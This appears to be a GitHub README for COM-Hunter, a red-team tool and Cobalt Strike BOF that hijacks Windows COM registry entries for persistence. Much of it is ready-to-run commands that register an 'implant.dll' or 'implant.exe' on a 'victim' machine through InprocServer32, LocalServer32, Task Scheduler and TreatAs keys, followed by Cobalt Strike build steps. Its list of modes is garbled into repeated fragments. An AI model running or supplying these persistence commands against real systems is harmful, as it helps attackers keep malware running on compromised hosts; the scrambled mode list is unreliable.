COM Hijacking VOODOO
COM Hijacking VOODOO
COM-Hunter is a COM Hijacking persistence tool.
Available in both a .NET version and a BOF variant fully compatible with Cobalt Strike.
The following list explains the available modes:
LocalServer32, InprocServer32, and registry entries under both HKLM and HKCU.LocalServer32 or InprocServer32.LocalServer32 or InprocServer32.LocalServer32 or InprocServer32.LocalServer32, InprocServer32, and related registry entries under both HKLM and HKCU.ℹ️ This tool has been selected and it is proudly part of the Cobalt Strike Community Kit.
If you find any bugs, don’t hesitate to report them. Your feedback is valuable in improving the quality of this project!
The authors and contributors of this project are not liable for any illegal use of the tool. It is intended for educational purposes only. Users are responsible for ensuring lawful usage.
This project created with :heart: by @nickvourd && @S1ckB0y1337.
Special thanks to my friend Marios Gyftos for his invaluable assistance during the beta testing phase of this tool.
Inspired by the RTO course from @zeropointsecltd.
BOF implementation inspired by Lefteris Panos and his awesome project, RegPersist.
The base.c and bofdefs.h files are direct copies from TrustedSec's CS-Situational-Awareness-BOF project.
…:information_source: Search DLL and EXE implementations in HKLM and HKCU:
.\COM-Hunter.exe search 01575CFE-9A55-4003-A5E1-F38D1EBDCBE1 -a:information_source: Search EXE implementations in HKLM and HKCU:
.\COM-Hunter.exe search "{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" -l:information_source: Advanced search EXE implementations in HKLM:
.\COM-Hunter.exe search "{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" -l --machine:information_source: Search EXE and DLL implementations in HKCU:
.\COM-Hunter.exe search AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 --user:information_source: Perform classic persistence using DLL implementation:
.\COM-Hunter.exe persist AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 C:\Users\victim\Desktop\implant.dll -i:information_source: Perform classic persistence using EXE implementation:
.\COM-Hunter.exe persist "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" C:\Users\victim\Desktop\implant.exe --localserver32:information_source: Perform persistence via Task Scheduler using DLL implementation:
.\COM-Hunter.exe tasksch C:\Users\victim\Desktop\implant.dll --inprocserver32:information_source: Perform persistence via the TreatAs registry key and a fake (forwardable) CLSID using DLL implementation:
.\COM-Hunter.exe treatas AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 "{00000012-1312-1997-2605-F38D1EBDCBE1}" C:\Users\victim\Desktop\implant.dll -i:information_source: Remove DLL implementation persistence in HKCU using:
.\COM-Hunter.exe remove AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 -i -uℹ️ Required MinGW-w64 toolchain (x86_64-w64-mingw32-gcc and i686-w64-mingw32-gcc)
ℹ️ Compile the BOF objects for both architectures:
./make_all.shThis will:
com_hunter_* directories.com_hunter_*.x64.o and com_hunter_*.x86.o.com_hunter_*/ directories.ℹ️ After compiling the BOF modules, simply load com_hunter_bof.cna into Cobalt Strike.
ℹ️ To clean build artifacts, go into evary src directory and execute:
make cleanNo open issues yet, or sync has not completed.